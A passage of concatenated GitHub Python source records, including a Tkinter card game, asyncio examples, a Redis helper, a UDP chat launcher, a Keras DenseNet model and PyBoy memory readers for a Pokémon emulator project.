bul\",state=\"active\")\n\tikinci_buton.config(text=\"Eşimi bul\",state=\"active\")\n\ttime.sleep(0.5)\n\thafiza.clear()\n\n\n\n#Satır sutun olusturma \nicerikler = [1,2,3,4,5,6,7,8]\nicerikler = icerikler*2\natananlar = []\nsatirno = 0 \n\nfor satir in range(0,4):\n\tsütünno = 0\n\tfor sütün in range(0,4):\n\t\tdeger = len(icerikler)\n\t\tilk = str(satirno) + str(sütünno)\n\t\tikinci = int(random()*deger)\n\t\tbutonx = Button(pencere,text = \"Eşimi bul\",command = lambda a = ilk: cevir(a))\n\n\t\ticerikler[ikinci]\n\t\tatanacak = (ilk,icerikler[ikinci],butonx)\n\t\tatananlar.append(atanacak)\n\t\ticerikler.pop(ikinci)\n\n\t\tbutonx.grid(row=satirno,column = sütünno)\n\n\t\tsütünno = sütünno + 1\n\tsatirno += 1\n\nmainloop()","repo_name":"Bahar-K/Tkinter_codes","sub_path":"tk_kart.py","file_name":"tk_kart.py","file_ext":"py","file_size_in_byte":1727,"program_lang":"python","lang":"tr","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"}
{"seq_id":"74767467982","text":"import asyncio\r\nimport thread\r\nimport threading\r\nimport time\r\n\r\n#\t==========================Function==========================\t\r\n\r\ndef consumer():\r\n\tr = ''\r\n\twhile True:\r\n\t\tn = yield r\r\n\t\tif not n:\r\n\t\t\treturn\r\n\t\tprint('[CONSUMER] Consuming {0}...'.format(n))\r\n\t\tr = '200 OK'\r\n\r\ndef produce(c):\r\n\tc.send(None)\r\n\tn = 0\r\n\twhile n < 5:\r\n\t\tn = n + 1\r\n\t\tprint('[PRODUCER] Producing {0}...'.format(n))\r\n\t\tr = c.send(n)\r\n\t\tprint('[PRODUCER] Consumer return: {0}'.format(r))\r\n\tc.close()\r\n\r\n@asyncio.coroutine\r\ndef hello_1():\r\n\tcount = 0\r\n\t\r\n\t#while count < 10:\r\n\t#\tprint(\"Hello {0} times\".format(count))\r\n\t#\tcount += 1\r\n\t#\tr = yield from asyncio.sleep(1)\r\n\t\t\r\n\tprint(\"Hello world!\")\r\n\t# 异步调用asyncio.sleep(1):\r\n\tr = yield from asyncio.sleep(1)\r\n\tprint(\"Hello again!  r:{0}\".format(r))\r\n\t\r\n@asyncio.coroutine\r\ndef hello_2():\r\n\tprint('Hello world! {0}'.format(threading.currentThread()))\r\n\tyield from asyncio.sleep(1)\r\n\tprint('Hello again! {0}'.format(threading.currentThread()))\r\n\t\r\n@asyncio.coroutine\r\ndef web_get(host):\r\n\tprint(\"Web host :{0}\".format(host))\r\n\tconnect = asyncio.open_connection(host,80)\r\n\treader , writer = yield from connect\r\n\theader = 'GET / HTTP/1.0\\r\\nHost: %s\\r\\n\\r\\n' % host\r\n\twriter.write(header.encode('utf-8'))\r\n\tyield from writer.drain()\r\n\twhile True:\r\n\t\tline = yield from reader.readline()\r\n\t\tif line == b'\\r\\n':\r\n\t\t\tbreak\r\n\t\tprint('%s header > %s' % (host, line.decode('utf-8').rstrip()))\r\n\t# Ignore the body, close the socket\r\n\twriter.close()\r\n\t\r\n#\t==========================main==========================\r\ntry:\r\n\t\r\n\tmodel = int(input(\"Enter Test Function:\"))\r\n\t\r\n\tif model == 1:\r\n\t\t#\t非同步\r\n\t\tc = consumer()\r\n\t\tproduce(c)\r\n\t\r\n\telif model == 2:\r\n\t\t# 获取EventLoop:\r\n\t\tloop = asyncio.get_event_loop()\r\n\t\t# 执行coroutine\r\n\t\tloop.run_until_complete(hello_1())\r\n\t\tloop.close()\r\n\t\t\r\n\telif model == 3:\r\n\t\t# 获取EventLoop:\r\n\t\tloop = asyncio.get_event_loop()\r\n\t\t# 执行coroutine\r\n\t\ttasks = [hello_2(), hello_2()]\r\n\t\tloop.run_until_complete(asyncio.wait(tasks))\r\n\t\tloop.close()\r\n\t\r\n\telif model == 4:\r\n\t\t# 获取EventLoop:\r\n\t\tloop = asyncio.get_event_loop()\r\n\t\t# 执行coroutine\r\n\t\ttasks = [web_get(host) for host in ['www.sina.com.cn', 'www.sohu.com', 'www.163.com']]\r\n\t\tloop.run_until_complete(asyncio.wait(tasks))\r\n\t\tloop.close()\r\n\t\r\nexcept Exception as ex:\r\n\tprint(\"Error: {0}\".format(ex))\r\n\r\n#input(\"Press Enter to continue...\\n\")","repo_name":"rexmin0629/Python","sub_path":"Async_IO.py","file_name":"Async_IO.py","file_ext":"py","file_size_in_byte":2364,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"}
{"seq_id":"11478551349","text":"'''\nDescription: \nAutor: didiplus\nDate: 2023-02-18 13:39:29\nLastEditors: lin\nLastEditTime: 2023-02-25 09:20:34\n'''\n\n\nfrom aioredis import Redis\nfrom typing import Union,Optional\nfrom config import settings\nclass RedisTools(Redis):\n\n    def __init__(self):\n        super().__init__(\n            host=settings.REDIS_HOST,\n            port=settings.REDIS_PORT,\n            password=settings.REDIS_PASSWORD,\n            db=settings.REDIS_DATABASE,\n            socket_timeout=settings.REDIS_TIMEOUT\n            )\n\n    async def is_existsKey(self,key:str)->bool:\n        \n        return True if  await self.get(name=key) is not None  else False\n    \n    async def hasKey(self,key:str) ->bool:\n        return await self.is_existsKey(key)\n\n    async def set_value(self,key:str,value:str,ex=7200)->None:\n        await self.set(name=key,value=value,ex=ex)\n    \n\n    async def get_value(self,key:str) ->str:\n        res = await self.get(name=key)\n        return str(res,encoding=\"utf-8\")","repo_name":"likeUtaoki/vx_chatgpt","sub_path":"core/redis.py","file_name":"redis.py","file_ext":"py","file_size_in_byte":976,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"47"}
{"seq_id":"17877259728","text":"from socket import socket, AF_INET, SOCK_DGRAM\r\nimport argparse\r\nimport UDPClient, UDPServer\r\n\r\ndef is_valid_ipv4_address(address):\r\n    if address.lower() == \"localhost\":\r\n        return True\r\n\r\n    # Split the string into four parts separated by dots\r\n    parts = address.split('.')\r\n    if len(parts) != 4:\r\n        return False\r\n\r\n    # Check that each part is an integer between 0 and 255\r\n    for part in parts:\r\n        try:\r\n            num = int(part)\r\n        except ValueError:\r\n            return False\r\n        if num < 0 or num > 255:\r\n            return False\r\n\r\n    return True\r\n\r\n\r\n#will eventually have to start the app using ChatApp -c <name> \r\nif __name__ == '__main__':\r\n\r\n    parser = argparse.ArgumentParser(description='ChatApp')\r\n    \r\n    # Client Arguments\r\n   \r\n    parser.add_argument('-c', '--clientName', type=str, help='Name of the client')\r\n    parser.add_argument('args', metavar='arg', type=str, nargs='*', help='Command line arguments')\r\n\r\n    # Server Arguments\r\n    parser.add_argument('-s', '--server', action='store_true', help='Run as a server')\r\n\r\n    args = parser.parse_args()\r\n\r\n    # Now you can access the values of the arguments as follows:\r\n\r\n    # Check if the program is running as a server or client\r\n    if args.server:\r\n        # The program is running as a server\r\n        if len(args.args) != 1:\r\n            raise Exception(\"Input should be ChatApp.py -s <port>\")\r\n\r\n        serverPort = int(args.args[0])\r\n        if serverPort < 1024 or serverPort > 65535:\r\n            raise Exception(\"Should be a port between 1024 and 65535\")\r\n\r\n        UDPServer.serverMode(serverPort)\r\n    else:\r\n        # The program is running as a client \r\n        \r\n        if len(args.args) != 3:\r\n            raise Exception(\"Input should be ChatApp.py -c <name> <server-ip> <server-port> <client-port>\")\r\n        \r\n        clientName = args.clientName\r\n        clientIP = args.args[0]\r\n        \r\n        if not is_valid_ipv4_address(clientIP):\r\n            raise Exception(\"Should be a valid IP address\")\r\n\r\n        serverPort = int(args.args[1])\r\n        clientPort = int(args.args[2])\r\n\r\n        if clientPort < 1024 or clientPort > 65535 or serverPort < 1024 or serverPort > 65535:\r\n            raise Exception(\"Should be a port between 1024 and 65535\")\r\n\r\n        UDPClient.clientMode(clientName, clientIP, serverPort, clientPort)\r\n        ","repo_name":"MatthewStridiron/UDP-Networking-Chat-App","sub_path":"ChatApp.py","file_name":"ChatApp.py","file_ext":"py","file_size_in_byte":2382,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"}
{"seq_id":"12523791048","text":"# -*- coding: utf-8 -*-\n\"\"\"\n给定一个非负整数数组，你最初位于数组的第一个位置。\n\n数组中的每个元素代表你在该位置可以跳跃的最大长度。\n\n判断你是否能够到达最后一个位置。\n\n示例 1:\n\n输入: [2,3,1,1,4]\n输出: true\n解释: 我们可以先跳 1 步，从位置 0 到达 位置 1, 然后再从位置 1 跳 3 步到达最后一个位置。\n示例 2:\n\n输入: [3,2,1,0,4]\n输出: false\n解释: 无论怎样，你总会到达索引为 3 的位置。但该位置的最大跳跃长度是 0 ， 所以你永远不可能到达最后一个位置。\n\n解题思路：\n\n\"\"\"\n\nfrom typing import *\n\n\nclass Solution:\n    def canJump(self, nums: List[int]) -> bool:\n        \"\"\"能到达的最远位置\"\"\"\n        reach = 0\n        for i in range(len(nums)):\n            if i > reach:\n                return False\n            reach = max(i + nums[i], reach)\n        return True\n\n    def canJump1(self, nums: List[int]) -> bool:\n        \"\"\"倒推 ：假设能到达最后位置，向前推\"\"\"\n        end = len(nums) - 1\n        for i in range(end, -1, -1):\n            if nums[i] + i >= end:\n                end = i\n        return end == 0\n","repo_name":"RichieSong/algorithm","sub_path":"算法/Week_03/55. 跳跃游戏.py","file_name":"55. 跳跃游戏.py","file_ext":"py","file_size_in_byte":1185,"program_lang":"python","lang":"zh","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"}
{"seq_id":"74049153743","text":"import os\nfrom collections import defaultdict\nfrom time import sleep\nimport re\nfrom functools import singledispatchmethod\nfrom colorama import Fore, Style\n\n\ndef escape_ansi(line):\n    \"escape string with ANSI codes for color\"\n    line = str(line).replace(\",\", \"\")\n    ansi_escape = re.compile(r\"(?:\\x1B[@-_]|[\\x80-\\x9F])[0-?]*[ -/]*[@-~]\")\n    return ansi_escape.sub(\"\", line)\n\n\nclass CLInterface:\n    \"Print and update values in Terminal\"\n\n    def __init__(\n        self,\n        *keys,\n        colored_values: set = None,\n        float_values: set = None,\n        percent_values: set = None,\n        dict_format_values: set = None,\n    ):\n        self.dict_values = defaultdict(str)\n        self.prev_dict_values = defaultdict(str)\n        for key in keys:\n            self.dict_values[key] = \"\"\n        self.colored_values = colored_values or {}\n        self.float_values = float_values or {}\n        self.percent_values = percent_values or {}\n        self.dict_format_values = dict_format_values or {}\n\n        self.previous_colors = {key: \"\" for key in self.colored_values}\n\n    def format_color(self, key, value):\n        if key in self.colored_values:\n\n            def str_to_float(string):\n                try:\n                    value = round(float(escape_ansi(string)), 2)\n                except ValueError:\n                    value = 0\n                return value\n\n            old_value, new_value = [\n                str_to_float(i) for i in (self.prev_dict_values[key], value)\n            ]\n            if old_value == new_value:\n                color = self.previous_colors[key]\n            elif old_value < new_value:\n                color = Fore.GREEN\n            elif old_value > new_value:\n                color = Fore.RED\n            else:\n                color = \"\"\n            self.previous_colors[key] = color\n            if key in self.float_values:  # there's could be a more universal logic\n                new_value = self.format_float(key, new_value)\n            value = color + new_value + Style.RESET_ALL\n        return value\n\n    def format_float(self, key, value):\n        if key in self.float_values:\n            value = f\"{value:,.2f}\"\n        return value\n\n    def format_percent(self, key, value):\n        if key in self.percent_values:\n            value = f\"{value:,.2%}\"\n        return value\n\n    def format_dict(self, key, value):\n        if key in self.dict_format_values:\n            value = dict(value)\n        return value\n\n    def add_formatting(self, key, value):\n        value = self.format_float(key, value)\n        value = self.format_percent(key, value)\n        value = self.format_dict(key, value)\n        value = self.format_color(key, value)\n        return value\n\n    @singledispatchmethod\n    def update_values(self, arg):\n        raise NotImplementedError\n\n    @update_values.register\n    def _(self, key: str, value: str):\n        \"update a single value\"\n        self.dict_values[key] = value\n        self.display()\n\n    @update_values.register\n    def _(self, dict_update: dict):\n        \"batch update values\"\n        for key, value in dict_update.items():\n            self.dict_values[key] = value\n        self.display()\n\n    def clear_screen(self):\n        clear = \"cls\" if os.name == \"nt\" else \"clear\"\n        os.system(clear)\n\n    def display(self):\n        \"Print formatted values in Terminal\"\n        max_len = len(max(self.dict_values, key=len))\n\n        string_to_print = \"\\n\".join(\n            f\"{key:<{max_len}} = {self.add_formatting(key, value)}\" if value else \"\"\n            for key, value in self.dict_values.items()\n        )\n        self.prev_dict_values.update(self.dict_values)\n        self.clear_screen()\n        print(string_to_print)\n\n\nif __name__ == \"__main__\":\n    from itertools import chain\n\n    cli1 = CLInterface(\"val1\", \"val23232\", colored_values={\"val1\"})\n\n    for i in chain(range(5), range(5, 0, -1)):\n        num = str(i)\n        if i % 2 == 0:\n            cli1.update_values(\"val1\", num)\n        elif i % 3 == 0:\n            cli1.update_values({\"val1\": num, \"val23232\": \"kv_sim\"})\n        else:\n            cli1.update_values(\"val23232\", \"kv\" + num)\n        sleep(0.3)\n    cli1.display()\n","repo_name":"pyrogn/trading-simulator","sub_path":"interface.py","file_name":"interface.py","file_ext":"py","file_size_in_byte":4179,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"}
{"seq_id":"4200199438","text":"from src.utils.handlers.dicts import *\n\n\ndef smart_replace(base_str: str, substr_to_replace: str, on_what_to_replace):\n    if substr_to_replace not in base_str:\n        return base_str\n    if isinstance(on_what_to_replace, str):\n        return base_str.replace(substr_to_replace, on_what_to_replace, 1)\n    else:\n        found_substr_start_index = base_str.find(substr_to_replace)\n        found_substr_end_index = base_str.find(substr_to_replace) + len(\n            substr_to_replace\n        )\n        a = base_str[found_substr_start_index - 1]\n        b = base_str[found_substr_end_index]\n        quotes = \"\\\"'\"\n        if any(elem in a for elem in quotes) or any(elem in b for elem in quotes):\n            replace_item = str(on_what_to_replace)\n            base_str = base_str.replace(substr_to_replace, replace_item)\n            base_str = (\n                base_str[: found_substr_start_index - 1]\n                + base_str[found_substr_start_index:]\n            )\n            replace_item_curr_start_index = found_substr_start_index - 1\n            base_str = (\n                base_str[: replace_item_curr_start_index + len(replace_item)]\n                + base_str[replace_item_curr_start_index + len(replace_item) + 1 :]\n            )\n    return base_str\n\n\ndef smart_remove(base_str: str, substr_to_remove: str):\n    base_dict = eval(base_str)\n    dl_containner = DLContainer(base_dict)\n\n    if base_dict.get(substr_to_remove, None):\n        del base_dict[substr_to_remove]\n    else:\n        path_to_item, key_or_value = dl_containner.get(substr_to_remove, None)\n        if key_or_value is not None:\n            dl_containner.delete_item(path_to_item, key_or_value)\n    return str(base_dict)\n","repo_name":"vzhirnov/post_json_fuzzer","sub_path":"src/utils/handlers/strings.py","file_name":"strings.py","file_ext":"py","file_size_in_byte":1701,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"47"}
{"seq_id":"37050498342","text":"from sklearn.decomposition import non_negative_factorization\nimport torch\nimport models\nimport os\n\nclass Hierarchy:\n    \"\"\"\n        Defining the structure of the hierarchy used for the Extended MNIST Dataset\n    \"\"\"\n    def __init__(self, pretrained_path = './trained_weights'):\n        \n        self.nodes = ['root', 'SG1', 'SG2', 'SG3', 'SG4', 'SG5', 'SG6', 'SG7', 'SG8', 'SG9', 'SG10', 'SG11', 'SG12', 'SG13']\n        self.valid_paths = [\n            (0,0,0),\n            (1,0,0),\n            (0,3,0),\n            (2,),\n            (3,0), \n            (4,0),\n            (3,11),\n            (5,),\n            (0,6),\n            (0,5,2),\n            (3,4),\n            (0,7),\n            (6,0),\n            (0,1),\n            (7,),\n            (8,0,0),\n            (3,12),\n            (3,1),\n            (1,0,1),\n            (3,7),\n            (1,1),\n            (1,0,2),\n            (9,0),\n            (10,0),\n            (0,0,1),\n            (11,),\n            (0,4),\n            (3,8),\n            (4,1),\n            (8,2),\n            (3,2),\n            (3,5),\n            (10,1),\n            (3,6),\n            (3,0),\n            (0,3,1),\n            (0,2),\n            (3,10),\n            (12,),\n            (6,1),\n            (8,0,1),\n            (0,5,1),\n            (3,9),\n            (9,1),\n            (0,5,0),\n            (13,), \n            (8,1),\n        ]\n        self.leaves = (0,1,2,3,4,5,6,7,8,9,'A','B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z', 'a', 'b', 'd', 'e', 'f', 'g', 'h', 'i', 'n', 'q', 'r', 't')\n        self.pretrained_path = pretrained_path\n\n        self.next = {\n            'root': ['SG1', 'SG2', None, 'SG3', 'SG4', None, 'SG5', None, 'SG6', 'SG7', 'SG8', None, None, None ],\n            'SG1': ['SG9', None, None, 'SG10', None, 'SG11', None, None],\n            'SG2': ['SG12', None],\n            'SG6': ['SG13', None, None],\n        }\n\n        self.path_to_leaf = dict(\n            zip(\n                self.valid_paths,\n                self.leaves\n            )\n        )\n\n        self.path_to_target = dict(\n            zip(\n                self.valid_paths, \n                list(range(len(self.valid_paths)))\n            )\n        )\n\n    def getNext(self, current_node, child):\n        if current_node not in self.next:\n            return None\n\n        next_child = self.next[current_node][child]\n        return next_child\n    \n    def getLeaf(self, path):\n        path = tuple(path)\n        if path not in self.path_to_leaf:\n            return None\n        return self.path_to_leaf[path]\n\n    def getTarget(self, path):\n        path = tuple(path)\n        if path not in self.path_to_target:\n            return None\n        return self.path_to_target[path]\n\n    def getModel(self, DNN_name):\n        model = getattr(models, \"get_\"+DNN_name+\"_model\")()\n        path = os.path.join(self.pretrained_path,DNN_name+'.pth')\n        model.load_state_dict(torch.load(path))\n        return model","repo_name":"abhinavgoel95/TRUNK","sub_path":"EMNIST/hierarchy.py","file_name":"hierarchy.py","file_ext":"py","file_size_in_byte":3005,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"47"}
{"seq_id":"27098932118","text":"import tensorflow as tf\nfrom keras.layers import (Conv3D, BatchNormalization, AveragePooling3D, concatenate,\n                          Activation, Input, GlobalAvgPool3D, Dense)\nfrom keras.regularizers import l2 as l2_penalty\nfrom keras.models import Model\nfrom keras.utils.vis_utils import plot_model\nfrom utils.losses import fmeasure, precision, recall\n\n\ndef conv_block(x, activation, filters, bottleneck, kernel_initializer, weights_decay, bn_scale):\n    x = BatchNormalization(scale=bn_scale, axis=-1)(x)\n    x = activation()(x)\n    x = Conv3D(filters, kernel_size=(1, 1, 1), padding='same', use_bias=False,\n               kernel_initializer=kernel_initializer, kernel_regularizer=l2_penalty(weights_decay))(x)\n    x = BatchNormalization(scale=bn_scale, axis=-1)(x)\n    x = activation()(x)\n    x = Conv3D(filters // bottleneck, kernel_size=(3, 3, 3), padding='same', use_bias=True,\n               kernel_initializer=kernel_initializer, kernel_regularizer=l2_penalty(weights_decay))(x)\n    return x\n\n\ndef dense_block(x, k, n, bottleneck,\n                activation, kernel_initializer, weights_decay, bn_scale):\n    for _ in range(n):\n        conv = conv_block(x, activation, k, bottleneck,\n                          kernel_initializer, weights_decay, bn_scale)\n        x = concatenate([conv, x], axis=-1)\n    return x\n\n\ndef transmit_block(x, compression, activation, bn_scale, kernel_initializer, weights_decay):\n    x = BatchNormalization(scale=bn_scale, axis=-1)(x)\n    x = activation()(x)\n    if (compression is not None) and (compression > 1):\n        *_, f = x.get_shape().as_list()\n        x = Conv3D(f // compression, kernel_size=(1, 1, 1), padding='same', use_bias=True,\n                   kernel_initializer=kernel_initializer, kernel_regularizer=l2_penalty(weights_decay))(x)\n        x = AveragePooling3D((2, 2, 2), padding='valid')(x)\n    else:\n        x = GlobalAvgPool3D()(x)\n    return x\n\n\ndef get_model(dhw=[48, 48, 48], k=64, n=3, bottleneck=4, compression=2, first_layer=32,\n              activation=lambda: Activation('relu'), bn_scale=True,\n              weights_decay=0., kernel_initializer='he_uniform', weights=None):\n    shape = dhw + [1]\n\n    inputs = Input(shape=shape)\n    conv = Conv3D(first_layer, kernel_size=(3, 3, 3), padding='same', use_bias=True,\n                  kernel_initializer=kernel_initializer, kernel_regularizer=l2_penalty(weights_decay))(inputs)\n\n    transmit_down_count = 4\n    for l in range(transmit_down_count):\n        db = dense_block(conv, k, n, bottleneck,\n                         activation, kernel_initializer, weights_decay, bn_scale)\n        if l == transmit_down_count - 1:\n            conv = transmit_block(db, None, activation,\n                                  bn_scale, kernel_initializer, weights_decay)\n        else:\n            conv = transmit_block(db, compression, activation,\n                                  bn_scale, kernel_initializer, weights_decay)\n\n    outputs = Dense(1, kernel_regularizer=l2_penalty(weights_decay),\n                    kernel_initializer=kernel_initializer, activation='sigmoid')(conv)\n\n    model = Model(inputs, outputs)\n    model.summary()\n\n    if weights is not None:\n        model.load_weights(weights, by_name=True)\n    return model\n\n\ndef get_compiled(dhw=[48, 48, 48], k=64, n=3, bottleneck=4, compression=2, first_layer=32,\n                 loss='binary_crossentropy', optimizer='adam', weights_decay=0.,\n                 kernel_initializer='he_uniform', weights=None,\n                 activation=lambda: Activation('relu'), bn_scale=True):\n    model = get_model(dhw, k, n, bottleneck, compression, first_layer,\n                      activation, bn_scale, weights_decay, kernel_initializer, weights)\n    model.compile(loss=loss, optimizer=optimizer,\n                  metrics=[loss, 'accuracy', fmeasure, precision, recall])\n    return model\n\n\nif __name__ == '__main__':\n    # model = get_model()\n    # model.summary()\n    model = get_compiled()\n    plot_model(model,to_file='desnetbc_v1.png',show_shapes=True,show_layer_names=True)\n","repo_name":"Yuxiang1990/keras","sub_path":"lib/models/densebc_v1.py","file_name":"densebc_v1.py","file_ext":"py","file_size_in_byte":4039,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"}
{"seq_id":"8090143957","text":"from django.shortcuts import render\nfrom django.apps import apps\n\nArticleModel = apps.get_model('article', 'Article')\n\n# Create your views here.\ndef homepage_view(request, *arg, **kwargs):\n\n    context = {\n        \"articleCollection\": ArticleModel.objects.all(),\n    }\n    return render(request, 'home.html', context)\n","repo_name":"NikhilCodes/Django-News","sub_path":"pages/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":318,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"47"}
{"seq_id":"34258665622","text":"\"\"\"Object Oriented Programming.\"\"\"\n# Sometimes, our programs will get large, and require several pieces of data.\n# With Classes, we can group these pieces of data together, and use it accordingly.\nfrom typing import Self\n\n__all__ = [\"main_classing\"]\n__version__ = \"0.2\"\n__author__ = \"Overzealous Lotus\"\n__license__ = \"GPL-3.0\"\n\n\ndef main_classing() -> None:\n    \"\"\"First function to run our program.\"\"\"\n\n    class SoftwareEngineer():\n        \"\"\"Instance attributes.\"\"\"\n\n        # class attributes\n        alias = \"Keyboard Mage\"  # This is a class-wide attribute\n\n        def __init__(self: Self, name: str, age: int, level: str, salary: int) -> None:  # Define our attributes\n            self.name = name\n            self.age = age\n            self.level = level\n            self.salary = salary\n\n        # instance method\n\n        def coding(self: Self) -> None:  # These are basic methods we define ourself in classes\n            \"\"\"Lets our user know who is coding right now.\"\"\"\n            print(f\"{self.name} is writing code...\")\n\n        def c_language(self: Self, language: str) -> None:  # Without self, does not work\n            \"\"\"Lets our user know what language who is writing in.\"\"\"\n            print(f\"{self.name} is writing code in {language}...\")\n\n        # Dunder method\n        def __str__(self: Self) -> str:  # When called, info is shown\n            \"\"\"Information about our objects.\"\"\"\n            info = f\"Name = {self.name}, age = {self.age}, level = {self.level}\"\n            return info\n\n        # Equalizer Method\n        def __eq__(self: Self, other: Self) -> bool:  # By default, compares memory\n            \"\"\"Comparison between two objects.\"\"\"\n            return self.name == other.name and self.age == other.age\n\n        @staticmethod  # Fixes a problem when the self attribute is not present\n        def entry_salary(age: int) -> int:\n            \"\"\"Define what a worker's salary is based on age.\"\"\"\n            junior_age, senior_age = 25, 30\n            if age < junior_age:\n                return 5000\n            if age < senior_age:\n                return 7000\n            return 9000\n\n    # instance\n\n    worker_one = SoftwareEngineer(\"Jason\", 20, \"Junior\", 5000)\n    worker_two = SoftwareEngineer(\"Garret\", 25, \"Senior\", 7000)\n    worker_tres = SoftwareEngineer(\"Garret\", 25, \"Senior\", 7000)\n\n    worker_one.coding()\n    worker_two.coding()\n\n    worker_one.c_language(\"Python\")\n    worker_two.c_language(\"Bash\")\n\n    print(f\"{worker_one} and {worker_two}\")\n\n    print(worker_tres == worker_two)\n\n\nif __name__ == \"__main__\":\n    main_classing()\n","repo_name":"OverzealousLotus/Blossom-Bloom","sub_path":"Python/Intermediate/Classes/classes.py","file_name":"classes.py","file_ext":"py","file_size_in_byte":2584,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"47"}
{"seq_id":"33719428308","text":"class Animal:\n    name = \"dog\"\n\n    def __test__(self):\n        print(\"测试\")\n\n    def langu(self, b = \"Bob\"):\n        print(b)\n\nnewAnimal = Animal()\n# print(newAnimal.name)\nnewAnimal.langu()\n\n# Animal.__test__(newAnimal)\n# Animal.__test(newAnimal)\nnewAnimal.__test__()\n\n\nimport random\nprint(int(random.random()*10))\nprint(random.randrange(10))\nprint(random.sample(range(1,11), 10))\n\n\n","repo_name":"zhq823/python","sub_path":"basic/class/index.py","file_name":"index.py","file_ext":"py","file_size_in_byte":387,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"47"}
{"seq_id":"28241062996","text":"import json\nimport re\nimport os\nimport random\n\ndir_path = os.path.dirname(os.path.realpath(__file__))\n\n\nclass ParserKiller:\n    def __init__(self, sentence):\n        self.sentence = sentence\n\n    def parse_sentence(self):\n        \"\"\"\n        Keep only the letters and delete all common word\n        :return:\n             All the work we keep\n        \"\"\"\n        self.sentence = re.sub(r'[^\\w\\s]', ' ', self.sentence)\n        self.sentence = self.sentence.lower()\n        list_of_word = self.sentence.split(\" \")\n        keep_word = []\n\n        with open(os.path.join(dir_path, 'fr.json'), encoding='utf-8') as json_data:\n            data_dict = json.load(json_data)\n            for word in list_of_word:\n                if word not in data_dict:\n                    keep_word.append(word)\n\n        return ' '.join(keep_word)\n\n\ndef select_response(status):\n    \"\"\"\n    Get randomly an answer in repsponse.json depending on the status\n\n    :param status:\n    :return:\n        response, random_choice\n    \"\"\"\n    with open(os.path.join(dir_path, 'response.json'), encoding='utf-8') as json_file:\n        data = json.load(json_file)\n        chosen_status = data[status]\n        random_choice = random.randrange(len(chosen_status))\n        response = chosen_status[random_choice]\n\n    return response, random_choice\n\n\ndef compact_answer(text):\n    \"\"\"\n    Using a regular expression to get the first sentences of a text\n    :param text:\n    :return:\n        The first sentences\n    \"\"\"\n    sentences = re.split(r'(?<=[^A-Z].[.?]) +(?=[A-Z])', text)\n    return sentences[0].splitlines()[0]\n","repo_name":"M0l42/OC_P7_GrandpyBot","sub_path":"grandpybot/chat_bot.py","file_name":"chat_bot.py","file_ext":"py","file_size_in_byte":1583,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"47"}
{"seq_id":"29417147068","text":"import sys\nfrom pyboy import PyBoy\n\n\nclass MemoryAddresses:\n    pyboy = None\n\n    def __init__(self, config):\n        head = 'headless' if config['headless'] else 'SDL2'\n\n        MemoryAddresses.pyboy = PyBoy(\n            config['gb_path'],\n            debugging=False,\n            disable_input=False,\n            window_type=head,\n            hide_window='--quiet' in sys.argv,\n        )\n\n    def read_current_map_instance(self):\n        map_instance_addresses = [\n            0xD362,  # Player's X Coords\n            0xD361,  # Player's Y Coords\n            0xD35E,  # Current Map Number\n        ]\n\n        current_map_instance = [self.read_m(addr) for addr in map_instance_addresses]\n        return current_map_instance\n\n    def read_current_hp_as_fraction(self):\n        hp_sum = sum([self.read_hp(add) for add in [0xD16C, 0xD198, 0xD1C4, 0xD1F0, 0xD21C, 0xD248]])\n        max_hp_sum = sum([self.read_hp(add) for add in [0xD18D, 0xD1B9, 0xD1E5, 0xD211, 0xD23D, 0xD269]])\n        return hp_sum / max_hp_sum\n\n    def read_hp(self, start):\n        return 256 * self.read_m(start) + self.read_m(start + 1)\n\n    # built-in since python 3.10\n    def bit_count(self, bits):\n        return bin(bits).count('1')\n\n    def read_triple(self, start_add):\n        return 256 * 256 * self.read_m(start_add) + 256 * self.read_m(start_add + 1) + self.read_m(start_add + 2)\n\n    def read_bcd(self, num):\n        return 10 * ((num >> 4) & 0x0f) + (num & 0x0f)\n\n    def read_money(self):\n        return (100 * 100 * self.read_bcd(self.read_m(0xD347)) +\n                100 * self.read_bcd(self.read_m(0xD348)) +\n                self.read_bcd(self.read_m(0xD349)))\n\n    def read_bit(self, addr, bit: int) -> bool:\n        # add padding so zero will read '0b100000000' instead of '0b0'\n        return bin(256 + self.read_m(addr))[-bit - 1] == '1'\n\n    def read_player_coordinates(self):\n        x_coord = self.read_m(0xD361)\n        y_coord = self.read_m(0xD362)\n        return x_coord, y_coord\n\n    def read_levels_sum(self):\n        poke_levels = [max(self.read_m(a) - 2, 0) for a in [0xD18C, 0xD1B8, 0xD1E4, 0xD210, 0xD23C, 0xD268]]\n        return max(sum(poke_levels) - 4, 0)  # subtract starting pokemon level\n\n    def read_bag_items(self):\n        # Specific memory addresses for each item and quantity in the bag\n        item_addresses = [\n            0xD31D,  # Total Items\n            0xD31E,  # Item 1\n            0xD31F,  # Item 1 Quantity\n            0xD320,  # Item 2\n            0xD321,  # Item 2 Quantity\n            0xD322,  # Item 3\n            0xD323,  # Item 3 Quantity\n            0xD324,  # Item 4\n            0xD325,  # Item 4 Quantity\n            0xD326,  # Item 5\n            0xD327,  # Item 5 Quantity\n            0xD328,  # Item 6\n            0xD329,  # Item 6 Quantity\n            0xD32A,  # Item 7\n            0xD32B,  # Item 7 Quantity\n            0xD32C,  # Item 8\n            0xD32D,  # Item 8 Quantity\n            0xD32E,  # Item 9\n            0xD32F,  # Item 9 Quantity\n            0xD330,  # Item 10\n            0xD331,  # Item 10 Quantity\n            0xD332,  # Item 11\n            0xD333,  # Item 11 Quantity\n            0xD334,  # Item 12\n            0xD335,  # Item 12 